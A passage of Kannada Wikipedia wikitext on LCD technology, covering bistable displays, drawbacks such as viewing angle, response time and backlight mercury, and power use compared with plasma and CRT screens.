ಕಡಿಮೆ ತಾಪಮಾನದಲ್ಲಿ{{Citation needed|date=June 2009}} ನಿಧಾನಗತಿಯ ರಿಫ್ರೆಶ್ ರೇಟ್, ಸಿಎಚ್ ಎಲ್‌ಸಿಡಿ ಯ ಮುಖ್ಯ ಅವಗುಣವಾಗಿದೆ. ಕೆಂಟ್ ಅವರು ಇತ್ತೀಚಿಗೆ ಸಿಎಚ್ ಎಲ್‌ಸಿಡಿ ಯು [[ಮೊಬೈಲ್ ಫೋನಿನ]] ಮೇಲ್ಮೈ ಪೂರ್ತಿ ಮುಚ್ಚಲ್ಪಟ್ಟು,ಬಣ್ಣಗಳ ಬದಲಾವಣೆ ಮಾಡುವ ಹಾಗೂ ವಿದ್ಯುತ್ ಪೂರೈಕೆ ಇಲ್ಲದಿರುವಾಗಲೂ ಕೂಡ ಅದನ್ನು ಕಾಯ್ದಿರಿಸಿಕೊಳ್ಳಬಹುದಾದ ಬಗೆಯನ್ನು ತೋರಿಸಿಕೊಟ್ಟಿದ್ದಾರೆ.<ref>{{cite web|title=&#91;SID&#93; Entire Surface of Handset becomes LCD Display|publisher=Nikkei Tech-On|author=Tetsuo Nozawa|url=http://techon.nikkeibp.co.jp/english/NEWS_EN/20090609/171529 |accessdate=2009-06-10}}</ref> 2004ರಲ್ಲಿ [[ಆಕ್ಸ್ ಫರ್ಡ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ]]ದ ವಿಜ್ಞಾನಿಗಳು ಜೆನಿಥಲ್ ಬಿಸ್ಟೆಬಲ್ ತಂತ್ರಜ್ಞಾನವನ್ನು ಆಧರಿಸಿದ ಎರಡು ಹೊಸ ವಿದ್ಯುತ್-ಶೂನ್ಯ ಬಿಸ್ಟೆಬಲ್ ಎಲ್‌ಸಿಡಿಯನ್ನು ಸಿದ್ಧಪಡಿಸಿದ್ದಾರೆ.<ref>{{cite web |title=Development of bistable displays |publisher=University of Oxford |author=Dr Chidi Uche |url=http://www.eng.ox.ac.uk/lc/research/Gratingstructures.html |accessdate=2007-07-13 |archive-date=2008-05-23 |archive-url=https://web.archive.org/web/20080523234127/http://www.eng.ox.ac.uk/lc/research/Gratingstructures.html |url-status=dead }}</ref> ಕೆಲವು ಬಿಸ್ಟೆಬಲ್ ತಂತ್ರಜ್ಞಾನಗಳು, 360ಡಿಗ್ರಿ ಬಿಟಿಎನ್ ತರಹದ್ದು ಮತ್ತು ಬಿಸ್ಟೆಬಲ್ ಕೊಲೆಸ್ಟರಿಕ್‌ಗಳು, ಮುಖ್ಯವಾಗಿ ದ್ರವರೂಪದ ಸ್ಫಟಿಕ(ಎಲ್‌ಸಿ)ವನ್ನು ಅವಲಂಬಿಸಿರುತ್ತದೆ. ಚಿತ್ರಗಳ ಜೋಡಣೆ ಜೊತೆಗೆ ಎಲ್‌ಸಿ ಮಿಶ್ರಣ, ಸಾಂಪ್ರದಾಯಿಕ ಮೋನೋಸ್ಟೇಬಲ್ ಪದಾರ್ಥದಂತೆಯೇ ಉತ್ತಮ ಗುಣಮಟ್ಟ ಹೊಂದಿರುತ್ತದೆ,. ಬೇರೆ ಬಿಸ್ಟೆಬಲ್ ತಂತ್ರಜ್ಞಾನ(ಬಿನೆಮ್ ಟೆಕ್ನಾಲಜಿ)ಮುಖ್ಯವಾಗಿ ಮೇಲ್ಮೈ ವಸ್ತುವನ್ನು ಆಧರಿಸಿರುತ್ತದೆ ಮತ್ತು ಖಚಿತವಾಗಿ ಅನಿಶ್ಚಿತ ಮೂಲವಸ್ತುವನ್ನು ಕೇಳುತ್ತದೆ. == ಕುಂದುಕೊರತೆಗಳು == {{Unreferenced section|date=June 2009}} ಎಲ್‌ಸಿಡಿ ತಂತ್ರಜ್ಞಾನವೂ ಈಗ ಇನ್ನಿತರ ಪ್ರದರ್ಶನ ತಂತ್ರಜ್ಞಾನಗಳಿಗೆ ಹೋಲಿಸಿದ್ದಲ್ಲಿ ಕೆಲವು ಕುಂದುಕೊರತೆಗಳನ್ನು ಹೊಂದಿದೆ: * ಸಿಆರ್‌ಟಿಗಳು ಸಾಧನಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳದೇ ಬಹುವಿಧದ ವಿಡಿಯೊ ದೃಶ್ಯಸಾಂದ್ರತೆಗಳನ್ನು ಪ್ರದರ್ಶಿಸಲು ಸಾಮರ್ಥ್ಯವಾಗಿವೆ, ಆದರೆ ಎಲ್‌ಸಿಡಿಗಳು ತಮ್ಮ [[ಸ್ವಾಭಾವಿಕ ದೃಶ್ಯಸಾಂದ್ರತೆ‌]]ಯಲ್ಲಿ ಮತ್ತು ಕೆಲವು ಸಂದರ್ಭದಲ್ಲಿ ಆ ಸ್ವಾಭಾವಿಕ ದೃಶ್ಯಸಾಂದ್ರತೆಯ ಭಿನ್ನರಾಶಿಯಲ್ಲಿ ಮಾತ್ರ ಉತ್ತಮವಾದ ಚಿತ್ರಗಳನ್ನು ತಯಾರಿಸುತ್ತವೆ. ಅಸ್ವಾಭಾವಿಕ ದೃಶ್ಯಸಾಂದ್ರತೆಗಳಲ್ಲಿ ಎಲ್‌ಸಿಡಿ ಪ್ಯಾನಲ್‌ಗಳನ್ನು ಚಲಿಸಲು ಪ್ರಯತ್ನಿಸಿದಾಗ ಪ್ಯಾನೆಲ್‌ ಚಿತ್ರವನ್ನು ಬಿರಿಬಿರಿಯಾಗಿಸುತ್ತದೆ. ಇದರಿಂದಾಗಿ ಒಟ್ಟಾರೆ ಪ್ರದರ್ಶನದಲ್ಲಿ ಕಳೆಗುಂದುವಿಕೆ ಅಥವಾ "ಕಪ್ಪಾಗುವಿಕೆ"ಯನ್ನು ಉಂಟಾಗುತ್ತದೆ. ಇದು ಸೂಕ್ಷ್ಮವಾದ ಬಹುವಿಧದ [[ಹೆಚ್‌ಡಿಟಿವಿ ಕಳೆಗುಂದುವಿಕೆ]]ಯನ್ನು ಉಂಟುಮಾಡುತ್ತದೆ. ಇಂತಹ ಅಳತೆಯ ಮಿತಿಗಳಿಂದಾಗಿ ಅನೇಕ ಎಲ್‍‌‍ಸಿಡಿಗಳು ಅತಿ ಕಡಿಮೆ ದೃಶ್ಯಸಾಂದ್ರತೆಯ ಪ್ರದರ್ಶಕ ಆಕಾರಗಳನ್ನು (ಉದಾಹರಣೆಗೆ 320x200) ಪ್ರದರ್ಶಿಸಲು ಅಸಮರ್ಥವಾಗಿವೆ. * ಕೆಲವು ವಿಧದ ಎಲ್‍‌ಸಿಡಿಗಳಲ್ಲಿ ಜಾಹೀರಾತಿನಲ್ಲಿ ತೋರಿಸಿದ್ದಕ್ಕಿಂತ ಕಡಿಮೆ ದೃಶ್ಯ ಸಾಂದ್ರತೆಯನ್ನು ಹೊಂದಿರುತ್ತವೆ,{{Citation needed|date=July 2009}} ಮತ್ತು ಸ್ಪಷ್ಟ ಬಣ್ಣದ ಗಾಢತೆಯನ್ನು ಹೆಚ್ಚಿಸಲು ಪ್ರಾದೇಶಿಕ ಮತ್ತು/ಅಥವಾ ಸ್ಥಳೀಯ ಕಂಪನವನ್ನು ಬಳಸಬೇಕಾಗುತ್ತದೆ. ಇದು ಕೆಲವು ವಿಧದ ಪ್ರದರ್ಶಕಗಳನ್ನು ಮಂದಪ್ರಕಾಶದಿಂದ ಹೊಳೆಯುವಂತೆ ಮಾಡಬಹುದು ಮತ್ತು ಕೆಲವು ಬಳಕೆದಾರರಿಗೆ ಇದು ಗೊಂದಲಗೊಳಿಸಬಹುದು. * ಆದಾಗ್ಯೂ, ಎಲ್‌ಸಿಡಿಗಳು ವಿಶಿಷ್ಟವಾಗಿ ಹೆಚ್ಚು ಕಂಪಿಸುವ ಚಿತ್ರಗಳನ್ನು ಮತ್ತು ಸಿಆರ್‌ಟಿಗಳಿಗಿಂತ ಉತ್ತಮ "ನೈಜ-ಪ್ರಪಂಚ"ದ [[ಭಿನ್ನತೆಯ ಅನುಪಾತ]]ಗಳನ್ನು (ಈ ಸಾಮರ್ಥ್ಯವು ಪ್ರಕಾಶಮಾನ ಸಂದರ್ಭಗಳಲ್ಲಿ ಬಣ್ಣದ ಭಿನ್ನತೆ ಮತ್ತು ಪರಿವರ್ತನೆಯನ್ನು ನಿಭಾಯಿಸುತ್ತದೆ) ಹೊಂದಿರುತ್ತವೆ. ಅವು ತಮ್ಮ ಕಪ್ಪು ಬಣ್ಣಗಳಲ್ಲಿ ಹೇಗೆ ಗಾಢವಾಗಿವೆ ಎಂಬುದರಲ್ಲಿ ಸಿಆರ್‌ಟಿಗಳಿಗಿಂತ ಕಡಿಮೆ ಭಿನ್ನತೆಯ ಅನುಪಾತಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಈ ಭಿನ್ನತೆ ಅನುಪಾತವು ಸಂಪೂರ್ಣವಾಗಿ ಚಿತ್ರಬಿಂಬದ ಆನ್ (ಬಿಳಿ) ಮತ್ತು ಆಫ್ (ಕಪ್ಪು)ನಡುವಿನ ವ್ಯತ್ಯಾಸವಾಗಿದೆ. ಎಲ್‌ಸಿಡಿಗಳು ಬೆಳಕು ಸೋರಿಕೆಯಾಗುವಲ್ಲಿ "ಹಿಂಬದಿ ಬೆಳಕಿನ ಸೋರಿಕೆ" ಅನ್ನು ಹೊಂದಬಹುದು (ಸಾಮಾನ್ಯವಾಗಿ ಪ್ರದರ್ಶಕದ ಮೂಲೆಗಳ ಸುತ್ತಲೂ ಕಾಣುತ್ತದೆ) ಮತ್ತು ಅವು ಕಪ್ಪು ಬಣ್ಣವನ್ನು ಟಿಎನ್-ಚಿತ್ರ ಆಧಾರಿತ ಪ್ರದರ್ಶನಗಳಿರುವ ಗ್ರೇ ಅಥವಾ ನಸು ನೀಲಿ/ನೇರಳೆ ಬಣ್ಣವಾಗಿ ಪರಿವರ್ತಿಸುತ್ತವೆ. ಹೀಗಾಗಿ, 2009ರಲ್ಲಿ ಬಂದಿರುವ ಹಿಂಬದಿ ಬೆಳಕನ್ನು ಬಳಸದ ಅತ್ಯುತ್ತಮ ಎಲ್‌ಸಿಡಿ ಟಿವಿಗಳು ಕ್ರಿಯಾಶೀಲ ಭಿನ್ನತೆ ಅನುಪಾತ 150,000:1 ಅನ್ನು ಸಾಧಿಸಬಲ್ಲವು. * ಎಲ್‌ಸಿಡಿಗಳಿಗೆ ವಿಶಿಷ್ಟವಾಗಿ ಅದರ ಪ್ಲಾಸ್ಮಾ ಮತ್ತು ಸಿಆರ್‌ಟಿ ಸಮಸ್ಥಾನಿಕಗಳು ಅದರಲ್ಲೂ ಹಳೆ ಪ್ರದರ್ಶನಗಳಿಗಿಂತ ಹೆಚ್ಚು [[ಪ್ರತಿಕ್ರಿಯೆ ಸಮಯ]]ವಿರುತ್ತದೆ. ಹಳೆ ಪ್ರದರ್ಶನಗಳು ಚಿತ್ರಗಳು ಶೀಘ್ರವಾಗಿ ಬದಲಾವಣೆಯಾದಾಗ ಗೋಚರಿಸುವ ಚಿತ್ರಗಳ ಪ್ರತಿನೆರಳವನ್ನು ಸೃಷ್ಟಿಸುತ್ತವೆ. ಉದಾಹರಣೆಗೆ, ಎಲ್‌ಸಿಡಿ ಮೇಲೆ ಶೀಘ್ರವಾಗಿ ಮೌಸ್‌ ಅನ್ನು ಅಲ್ಲಾಡಿಸಿದಾಗ, ಕೆಲವು ಸಂದರ್ಭಗಳಲ್ಲಿ ಅನೇಕ ಕರ್ಸರ್‌(ಸೂಚಕ)ಗಳನ್ನು ನೋಡಬಹುದು. **''ಇದನ್ನೂ ನೋಡಿ: [[ಸಿಆರ್‌ಟಿ ಫಾಸ್ಫರ್ ಪರ್ಸಿಸ್ಟೆನ್ಸ್]]'' * ಎಲ್‌ಸಿಡಿಗಳು ಮಾನವನ ಕಣ್ಣು ಚಲಿಸುವ ವಸ್ತುಗಳನ್ನು ಗಮನಿಸುವಂತೆ ಚಲನೆಯ ಅಸ್ಪಷ್ಟತೆ ಪ್ರದರ್ಶಿಸುವುದನ್ನು ತೋರುತ್ತವೆ. ಕೆಲವು ಪ್ರದರ್ಶಕಗಳು ಅದನ್ನು ಮಾಡಿರುವುದಿಲ್ಲ. ಏಕೆಂದರೆ, ಒಂದು ಎಲ್‌ಸಿಡಿ ಪಿಕ್ಸೆಲ್ ನಿರಂತರವಾಗಿ ಚದರಟ್ಟಿನ (16.7ms ಮಾದರಿಯದ್ದು) ಕಾಲಾವಧಿಯಲ್ಲಿ ನಿರಂತರವಾಗಿ ಕಾಣಬಹುದು, ಆದರೆ ಸಿಆರ್‌ಟಿ ಪಿಕ್ಸೆಲ್ ಮಾತ್ರ ಅದರ ಮೇಲೆ ಎಲೆಕ್ಟ್ರಾನ್ ಕಿರಣವು ಹರಿದು ಹೋಗುವ ಮೈಕ್ರೋಸೆಕೆಂಡ್‌ನ ಒಂದು ಭಾಗದವರೆಗೆ ಮಾತ್ರ ಒಂದು ಬಾರಿ ಒಂದು ಚದರಟ್ಟಿನಂತೆ ಬೆಳಗುತ್ತದೆ. ಒಂದು ಶೂನ್ಯ ಪ್ರತಿಕ್ರಿಯಾ ಸಮಯವಿರುವ ಒಂದು ಊಹಾತ್ಮಕ ಎಲ್‌ಸಿಡಿ ಪ್ಯಾನೆಲ್‌ನಲ್ಲಿ ಸಹಾ ಸರಿಯುತ್ತಿರುವ ಒಂದು ಚಿತ್ರವು ಮೋಶನ್ ಬ್ಲರ್ ಹೊಂದಿರಲು ಸಾಧ್ಯವಿದೆ, ಆದರೆ ಸಿಆರ್‌ಟಿ ಮಾನಿಟರ್‌ನಲ್ಲಿನ ಸರಿಯುತ್ತಿರುವ ಚಿತ್ರವು ಅದನ್ನು ಹೊಂದಿರುವುದಿಲ್ಲ. ಇದಕ್ಕೆ ಫ್ರೇಮ್‌ ಅನ್ನು ನೋಡಬಹುದಾದ ಸಮಯದಲ್ಲಿ ಕಣ್ಣಿನ ಚಲನೆಯು ಕಾರಣವಾಗಿದೆ{{Citation needed|date=July 2009}}. ಅಸ್ಪಷ್ಟತೆಯು ಬಹುವಿಧದ ಫ್ರೇಮ್‌ ರೇಟ್‌ಗೆ (ಉದಾ.120 ಅಥವಾ 240 [[Hz]]) ಅಧಿಕವಾಗುತ್ತಿರುವ ರೆಫ್ರೆಷ್‌ ರೇಟ್‌ನಿಂದ ಕಡಿಮೆಯಾಗುತ್ತಿದೆ ಮತ್ತು ವಿವಿಧ ಚಿತ್ರ ಪ್ರಕ್ರಿಯೆಯ ತಂತ್ರಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳುತ್ತಿದೆ. ಅಸ್ಪಷ್ಟತೆ ಅಥವಾ ಚಿತ್ರದ ಪ್ರತಿನೆರಳನ್ನು ತಂತ್ರಾಂಶ ತಂತ್ರಗಳನ್ನು ಬಳಸಿ ಭಾಗಶಃ "ಸರಿಗೊಳಿಸಬಹುದಾಗಿದೆ". ಇದು, ಒಂದು ಅಸ್ಪಷ್ಟತೆಯ ಋಣಾತ್ಮಕ ಚಿತ್ರವನ್ನು ನೀಡುವ ಮೂಲಕ, ಬರಬಹುದಾದ ಅಸ್ಪಷ್ಟತೆಯನ್ನು ರದ್ದುಗೊಳಿಸುವ ಮೂಲಕ ಚಿತ್ರವನ್ನು ಸರಿಯಾಗಿ ಪ್ರದರ್ಶಿಸುತ್ತದೆ. ಉದಾಹರಣೆಗೆ, ಸಾಮಾನ್ಯಕ್ಕಿಂಗ 5% ಹೆಚ್ಚಿನ ಹೊಳಪುಳ್ಳ ಉಳಿದಿರುವ ಸ್ಥಳವು ಒಂದು ಪ್ರತಿನೆರಳನ್ನು ಉಂಟುಮಾಡಿದ್ದರೆ, ಈ ತಂತ್ರಾಂಶವು ಆ ಪ್ರತಿನೆರಳಿನ -5% ಋಣಾತ್ಮಕ ಚಿತ್ರವನ್ನು ಸೆಳೆದು ತರುತ್ತದೆ. ಇದರ ಪರಿಣಾಮವು ಬಯಸಿದಂತೆ ಆಗುತ್ತದೆ(n + 5 - 5 = n). ಆದರೆ, ಈ ತಂತ್ರಕ್ಕೆ ಪ್ರಕ್ರಿಯೆಯ ವಿಳಂಬದ ಅಗತ್ಯವಿದ್ದು, ಅದು {{Citation needed|date=July 2009}}ವೇಗದ-ಕ್ರಿಯೆಯಿರುವ ವಿಡಿಯೊ-ಆಟಗಳಲ್ಲಿ ಬಳಸುವಾಗ ಸಮಸ್ಯೆಯನ್ನು ಉಂಟುಮಾಡುತ್ತದೆ. ಇನ್ನೂ ಕೆಲವು ಪ್ರದರ್ಶಕಗಳು "ಗೇಮಿಂಗ್-ಮೋಡ್‌"ನೊಂದಿಗೆ ಬರುತ್ತಿದ್ದು, ಅವು ಪ್ರತಿನೆರಳು-ವಿರೋಧಿಯನ್ನು ಅಗತ್ಯವಿದ್ದಾಗ ಆಫ್ ಮಾಡುತ್ತವೆ. ** ''ಇದನ್ನೂ ನೋಡಿ: [[ಸಿಆರ್‌ಟಿ ಫಾಸ್ಫರ್ ಪರ್ಸಿಸ್ಟೆನ್ಸ್]]'' [[ಚಿತ್ರ:ThinkPad Viewing Angle Comparison.JPG|200px|thumb| ಎರಡು ಐಬಿಎಮ್ ಥಿಂಕ್‌ಪ್ಯಾಡ್ ಲ್ಯಾಪ್‌ಟಾಪ್ ಸ್ಕ್ರೀನ್‌ ಅನ್ನು ವಿಸ್ತಾರ ಕೋನದಲ್ಲಿ ನೋಡಲಾಗುತ್ತದೆ.]] * [[ಟಿಎನ್]] ಬಳಸುವ ಎಲ್‌ಸಿಡಿ ಪ್ಯಾನಲ್‌‍ಗಳು ಸಿಆರ್‌ಟಿ ಮತ್ತು ಪ್ಲಾಸ್ಮಾ ಪ್ರದರ್ಶನಗಳಿಗೆ ಹೋಲಿಸಿದಾಗ [[ನೋಡುವ ಕೋನ]]ದಲ್ಲಿ ಮಿತಿಯನ್ನು ಹೊಂದಿವೆ. ಇದು ಆ ಚಿತ್ರವನ್ನು ಸಮರ್ಪಕವಾಗಿ ನೋಡಬಹುದಾದ ಜನರ ಸಂಖ್ಯೆಯನ್ನು ಕಡಿಮೆಗೊಳಿಸುತ್ತದೆ. ಇದಕ್ಕೆ ಲ್ಯಾಪ್‌ಟಾಫ್ ಪ್ರದರ್ಶಕಗಳು ಉತ್ತಮ ಉದಾಹರಣೆ. ಸಾಮಾನ್ಯವಾಗಿ ಪ್ರದರ್ಶಕದ ಕೆಳಗಡೆ ನೋಡಿದಾಗ, ಇದು ಹೆಚ್ಚು ಕಪ್ಪಾಗಿರುತ್ತದೆ; ಮತ್ತು ಮೇಲಿನಿಂದ ನೋಡಿದಾಗ ಹೆಚ್ಚು ಪ್ರಕಾಶಮಾನವಾಗಿ ಕಾಣುತ್ತದೆ. ಇದು ಬಣ್ಣಗಳನ್ನು ವಿರೂಪಗೊಳಿಸುತ್ತದೆ ಮತ್ತು ಕಡಿಮೆ ಬೆಲೆಯ ಎಲ್‌ಸಿಡಿ ಪ್ರದರ್ಶಕಗಳಲ್ಲಿ ಬಣ್ಣ ಹೆಚ್ಚಿನ ಅಗತ್ಯವಾದ [[ಗ್ರಾಫಿಕ್ ಡಿಸೈನ್‌‍]]ನಂತವುಗಳಲ್ಲಿ ಸರಿಯಾಗಿ ಕೆಲಸ ಮಾಡುವುದಿಲ್ಲ. ಏಕೆಂದರೆ, ಅಲ್ಲಿ ಕಣ್ಣುಗಳು ಮೇಲಕ್ಕೆ ಅಥವಾ ಕೆಳಕ್ಕೆ ನಿಧಾನವಾಗಿ ಸರಿದಾಡಿದಂತೆಲ್ಲಾ ಅಥವಾ ಒಂದು ನಿರ್ಧಿಷ್ಟ ಸ್ಥಾನದಿಂದ ಪ್ರದರ್ಶಕದ ಮೇಲ್ಬಾಗದಲ್ಲಿ ಅಥವಾ ಕೆಳಗಡೆಯಲ್ಲಿ ನೋಡಿದಾಗ ಬಣ್ಣಗಳು ಬದಲಾಗುತ್ತವೆ. [[ಐಪಿಎಸ್]], [[ಎಂವಿಎ]], ಅಥವಾ [[ಪಿವಿಎ]] ಮುಂತಾದ ತೆಳು ಚಿತ್ರ ವಿದ್ಯುನ್ನಿಯಂತ್ರಕ ವೈವಿಧ್ಯಗಳನ್ನು ಆಧರಿಸಿರುವ ಅನೇಕ ಪ್ರದರ್ಶನಗಳಲ್ಲಿ ನೋಡುವ ಕೋನಗಳಲ್ಲಿ ಹೆಚ್ಚು ಸುಧಾರಣೆಯಾಗಿದೆ; ವಿಶಿಷ್ಟವಾಗಿ, ಕಟ್ಟಕಡೆಯ ಕೋನಗಳಲ್ಲಿ ನೋಡುವಾಗ ಬಣ್ಣ ಸ್ವಲ್ಪ ಕಾಂತಿಯುತವಾಗಿರುತ್ತದೆ, ಆದರೂ ನೋಡುವ ಕೋನಗಳಲ್ಲಿನ ಅಧಿಕ ಸುಧಾರಣೆಗಳನ್ನು ಲಂಬವಾಗಿ ಅಲ್ಲದೇ, ಪಾರ್ಶ್ವ ಕೋನಗಳಲ್ಲಿ ಮಾತ್ರ ಮಾಡಲಾಗಿದೆ. * ಗ್ರಾಹಕ ಎಲ್‌ಸಿಡಿ ಪ್ರದರ್ಶಕಗಳು ಅದರ ಸಿಆರ್‌ಟಿ ಸಮಸ್ಥಾನಿಕಗಳಿಗಿಂತ ಹೆಚ್ಚು ದುರ್ಬಲವಾಗಿರುವ ಸಾಧ್ಯತೆಯಿದೆ. ಅದರ ಪ್ರದರ್ಶಕವು ಸಿಆರ್‌ಟಿ ಪ್ರದರ್ಶಕಗಳಲ್ಲಿರುವಂತೆ ಸಾಂದ್ರವಾದ ಗ್ಲಾಸ್ ಶೀಲ್ಡ್‌ ಆಗಿರುವುದಿಲ್ಲವಾದ್ದರಿಂದ ಅದು ಸುಲಭದಲ್ಲಿ ಒಡೆಯಬಲ್ಲದ್ದಾಗಿದೆ. ಉದಾ; ಎಲ್‌ಸಿಡಿ ಪರದೆಯ ಮೇಲೆ ಚುಚ್ಚಿದಾಗ ಬಣ್ಣಗಳ ವರ್ತುಲವು ನಿರ್ಮಿತಗೊಳ್ಳುವುದನ್ನು ಕಾಣಬಹುದು. (ಎಳೆಯ ಮಕ್ಕಳು ಇದನ್ನು ಆಗಾಗ ಮಾಡಲು ಇಷ್ಟಪಡಬಹುದು) ಆದರೆ ಅದು ಪ್ರದರ್ಶಕವನ್ನು ಹಾಳು ಮಾಡುತ್ತದೆ. ಸಿಆರ್‌ಟಿಗಳು ಗೆರೆಗಳು ಅಥವಾ ಚುಚ್ಚುವ ಹಾನಿಯಿಂದ ರಕ್ಷಿಸುವುದಕ್ಕಾಗಿ ಸಾಂದ್ರ ಗ್ಲಾಸ್‌ ಅನ್ನು ಹೊಂದಿರುತ್ತವೆ. * ಪ್ರದರ್ಶಕವು ಹಾನಿಗೊಂಡಾಗ ಅಥವಾ ಪ್ರದರ್ಶಕದ ಮೇಲೆ ಒತ್ತಡವಿದ್ದಾಗ [[ಡೆಡ್ ಪಿಕ್ಸೆಲ್‌]]ಗಳು ಉಂಟಾಗುತ್ತದೆ; ಕೆಲವು ಉತ್ಪಾದಕರು ವಾರಂಟಿ ಸಮಯ ಇರುವಾಗ ಡೆಡ್ ಪಿಕ್ಸೆಲ್‌ಗಳು ಇರುವ ಪ್ರದರ್ಶಕಗಳನ್ನು ಬದಲಾಯಿಸುತ್ತಾರೆ. * ಅಡ್ಡ ಮತ್ತು/ಅಥವಾ ಲಂಬದ ಬ್ಯಾಂಡಿಂಗ್ (ವಿಶಿಷ್ಟ ಪಂಗಡವು) ಕೆಲವು ಎಲ್‌ಸಿಡಿ ಪ್ರದರ್ಶಕಗಳಲ್ಲಿ ಸಮಸ್ಯೆಯಾಗಿದೆ. ಇದು ನ್ಯೂನತೆಯು ತಯಾರಿಕೆ ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿ ಉಂಟಾಗುತ್ತದೆ ಮತ್ತು ರಿಪೇರಿ ಮಾಡಲು ಸಾಧ್ಯವೇ ಇಲ್ಲ (ಪ್ರದರ್ಶಕವನ್ನು ಬದಲಿಯೇ ಮಾಡಬೇಕಾಗುತ್ತದೆ). ಒಂದೇ ರೀತಿಯ ರಚನೆ ಮತ್ತು ಮಾದರಿಯ ಪ್ರತಿಯೊಂದು ಎಲ್‌ಸಿಡಿ ಪ್ರದರ್ಶಕಗಳ ನಡುವೆ ಬ್ಯಾಂಡಿಂಗ್‌ನಲ್ಲಿ ಸಾಕಷ್ಟು ವ್ಯತ್ಯಾಸವಿರಬಹುದು. ಇದರ ವ್ಯಾಪ್ತಿಯನ್ನು ಉತ್ಪಾದಕರ [[ಗುಣಮಟ್ಟ ನಿಯಂತ್ರಣ]] ಕಾರ್ಯವಿಧಾನಗಳು ನಿರ್ಧರಿಸುತ್ತವೆ. * ಎಲ್‌ಸಿಡಿ ಪ್ರದರ್ಶಕಗಳಲ್ಲಿ ಬ್ಯಾಕ್‌-ಲೈಟ್ ಆಗಿ ಬಳಸಲ್ಪಡುವ [[ಕೊಲ್ಡ್ ಕ್ಯಾಥೊಡ್]] ಪ್ಲೋರೊಸೆಂಟ್ ಲ್ಯಾಂಪ್‌ಗಳು, ವಿಷಯುಕ್ತ ಪದಾರ್ಥವಾದ [[ಪಾದರಸ]]ವನ್ನು ಒಳಗೊಂಡಿರುತ್ತವೆ, ಆದರೆ ಎಲ್‌ಇಡಿ-ಬ್ಯಾಕ್‌ಲಿಟ್ ಎಲ್‌ಸಿಡಿ ಪ್ರದರ್ಶಕಗಳು ಪಾದರಸ ಮುಕ್ತವಾಗಿವೆ. * ದೋಷಪೂರಿತ ವಿದ್ಯುದ್ಬಲ ಸಮತೋಲನದಿಂದ ಉಂಟಾದ ವಿನ್ಯಾಸ ಆಧರಿತ ಫ್ಲಿಕರ್.<ref>[http://www.techmind.org/lcd/index.html#inversion ಎಲ್‌ಸಿಡಿ ಫ್ಲಿಕರ್ ಟೆಸ್ಟ್ಸ್]</ref>]-ಒಂದು ಅಥವಾ ಅದಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ಪ್ರಯೋಗಗಳು ಆಕ್ಷೇಪಣಾರ್ಹವಾದ ಫ್ಲಿಕರ್‌ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಪ್ರಪ್ರದರ್ಶಿಸಬಲ್ಲವು, ಅದು ಕೂಡ ಪ್ರಮುಖ ಸ್ಥಳದ ಮೇಲೆ ಆ ಸಮಸ್ಯೆಯು ಒಡೆದ ವಿನ್ಯಾಸವಾಗಿ ತೋರಿದರೆ ಇದು ಕಾಣುತ್ತದೆ. == ಶಕ್ತಿ ಸಾರ್ಥಕತೆ == ನವೀನ ಟಿವಿ ಮಾದರಿಗಳ ನಡುವೆ, ಎಲ್‌ಸಿಡಿಗಳು ಅದರ ಪ್ಲಾಸ್ಮಾ ಟಿವಿಗಳಿಗಿಂತ ಸರಾಸರಿಯಲ್ಲಿ ಕಡಿಮೆ ಶಕ್ತಿಯನ್ನು ಉಪಯೋಗಿಸುತ್ತದೆ. A 42-ಇಂಚಿನ ಎಲ್‍ಸಿಡಿಯು ಸರಾಸರಿ 203 ವ್ಯಾಟ್‌ಗಳನ್ನು ಬಳಸುತ್ತದೆ ಮತ್ತು 42-ಇಂಚಿನ ಪ್ಲಾಸ್ಮಾ ಟಿವಿಯು 271 ವ್ಯಾಟ್‌ಗಳನ್ನು ಬಳಸುತ್ತದೆ.<ref>{{Cite web |url=http://www.energy.ca.gov/appliances/tv_faqs.html |title=ಶಕ್ತಿ ಉಪಯೋಗ: ಸಾಧನಗಳು |access-date=2010-02-04 |archive-date=2010-06-19 |archive-url=https://web.archive.org/web/20100619135915/http://www.energy.ca.gov/appliances/tv_faqs.html |url-status=dead }}</ref> ''(ಈ ಮಾಹಿತಿಯು ಹಳತಾಗಿದೆ-ಪ್ರಸ್ತುತ ಪ್ಲಾಸ್ಮಾ ಟಿವಿಯ ಪ್ಯಾನಾಸೊನಿಕ್ ಟಿಹೆಚ್-42 X10ಯು 80-200W ನಡುವೆ ಬಳಸುತ್ತದೆ. ಸರಾಸರಿ ವಿದ್ಯುತ್‌ಬಳಕೆಯನ್ನು ಅಳೆಯುವಾಗ, ಇದು ಸಾಮಾನ್ಯವಾಗಿ 120W ಮತ್ತು 150W ನಡುವೆ ಇರುತ್ತದೆ.)'' {{Citation needed|date=January 2010}} ಪ್ರತಿ ಇಂಚಿಗೆ ಆಗುವ ಶಕ್ತಿ ಬಳಕೆಯು ವಿವಿಧ ಪ್ರದರ್ಶನ ತಂತ್ರಜ್ಞಾನಗಳ {{Citation needed|date=July 2009}} ಹೋಲಿಕೆಗಾಗಿ ಇರುವ ಮತ್ತೊಂದು ಮೀಟರ್ ಮಾನವಾಗಿದೆ. ಪ್ರದರ್ಶನ ಜಾಗದ ಪ್ರತಿ ಚದರ ಇಂಚಿಗೆ ಸಿಆರ್‌ಟಿ ತಂತ್ರಜ್ಞಾನವು ಹೆಚ್ಚು ಸಮರ್ಥವಾಗಿದ್ದು ಅದು ಪ್ರತಿ ಚದರ ಇಂಚ್ ಗೆ 0.23 ವ್ಯಾಟ್‌ಗಳನ್ನು ಬಳಸುತ್ತದೆ. ಆದರೆ ಎಲ್‌ಸಿಡಿಗಳಿಗೆ ಪ್ರತಿ ಚದರ ಇಂಚ್ ಗೆ 0.27 ವ್ಯಾಟ್‍ಗಳು ಅಗತ್ಯವಿರುತ್ತದೆ. [[ಪ್ಲಾಸ್ಮಾ ಪ್ರದರ್ಶನಗಳು]] ಪ್ರತಿ ಚದರ ಇಂಚ್‌ಗೆ 0.36 ವ್ಯಾಟ್‌ಗಳನ್ನು ಬಳಸುತ್ತವೆ ಮತ್ತು ಡಿಎಲ್‌ಪಿ/ಹಿಂಭಾಗ ಉಬ್ಬಿರುವ ಟಿವಿಗಳು ಈ ಅಳತೆಯಲ್ಲಿ ಕೆಳ 